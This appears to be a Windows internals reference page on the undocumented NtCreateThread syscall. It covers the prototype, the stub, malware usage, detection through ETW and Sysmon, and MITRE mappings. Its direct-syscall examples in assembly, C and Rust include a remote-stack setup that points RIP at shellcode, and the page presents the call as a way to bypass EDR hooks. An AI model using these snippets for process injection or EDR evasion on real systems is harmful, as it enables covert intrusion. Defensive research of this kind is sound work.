NtCreateThread

Prototype

NTSTATUS NtCreateThread(
  PHANDLE            ThreadHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes,
  HANDLE             ProcessHandle,
  PCLIENT_ID         ClientId,
  PCONTEXT           ThreadContext,
  PINITIAL_TEB       InitialTeb,
  BOOLEAN            CreateSuspended
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 4E 00 00 00      mov eax, 0x4E
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtCreateThread is the original pre-Vista thread-creation primitive. Unlike its successor NtCreateThreadEx, it is undocumented in the public headers and forces the caller to build an INITIAL_TEB by hand — describing stack base, stack limit and allocation base — plus a fully populated CONTEXT containing RIP/RSP. The SSN `0x4E` has been stable across every supported Windows 10 and Windows 11 build, which is unusual and reflects the fact that Microsoft no longer touches this surface. The kernel still implements it for backwards compatibility but Win32 CreateThread, RtlCreateUserThread and Nt CreateThreadEx all dispatch through NtCreateThreadEx today.

Common malware usage

Used by older injection tooling that predates NtCreateThreadEx attribute lists — some PassTheHash variants, early Mimikatz token-stealing primitives and legacy CreateRemoteThread alternatives. A small subset of modern offensive tooling deliberately picks NtCreateThread precisely because so few EDRs bother hooking it: the API is so rarely exercised by legitimate code that vendor coverage is patchy, making it a niche bypass for naive userland hook stacks. The trade-off is that the caller must allocate and stitch together a stack in the target process before issuing the call.

Detection opportunities

ETW Microsoft-Windows-Threat-Intelligence emits ThreadCreate events from PspInsertThread regardless of whether the userland entry point was Nt CreateThread or NtCreateThreadEx — so kernel-level telemetry is identical. Sysmon Event ID 8 (CreateRemoteThread) likewise fires for any cross-process thread injection. The only meaningful discriminator is in userland: an EDR that only hooks ntdll!NtCreateThreadEx will miss code paths going through NtCreateThread. Defenders should ensure both stubs are instrumented and watch for the rare combination of NtCreateThread + a remote ProcessHandle.

Direct syscall examples

; Direct syscall stub for NtCreateThread (SSN 0x4E, Win10 1507+ through Win11 24H2)
NtCreateThread PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 4Eh          ; SSN
    syscall
    ret
NtCreateThread ENDP

// Caller must allocate stack in the target process and populate both CONTEXT and INITIAL_TEB.
typedef struct _INITIAL_TEB {
    PVOID PreviousStackBase;
    PVOID PreviousStackLimit;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID AllocatedStackBase;
} INITIAL_TEB, *PINITIAL_TEB;

SIZE_T stackSize = 0x10000;
PVOID  remoteStack = NULL;
NtAllocateVirtualMemory(hProcess, &remoteStack, 0, &stackSize,
                        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

INITIAL_TEB teb = { 0 };
teb.StackBase          = (PBYTE)remoteStack + stackSize;
teb.StackLimit         = remoteStack;
teb.AllocatedStackBase = remoteStack;

CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
ctx.Rip = (DWORD64)pShellcode;
ctx.Rsp = (DWORD64)teb.StackBase - 0x28;

HANDLE   hThread = NULL;
CLIENT_ID cid    = { 0 };
NtCreateThread(&hThread, THREAD_ALL_ACCESS, NULL, hProcess,
               &cid, &ctx, &teb, FALSE);

// Cargo: windows-sys = "0.59"
use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_create_thread_stub() {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x4E",
        "syscall",
        "ret",
        options(noreturn),
    );
}

MITRE ATT&CK mappings

• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗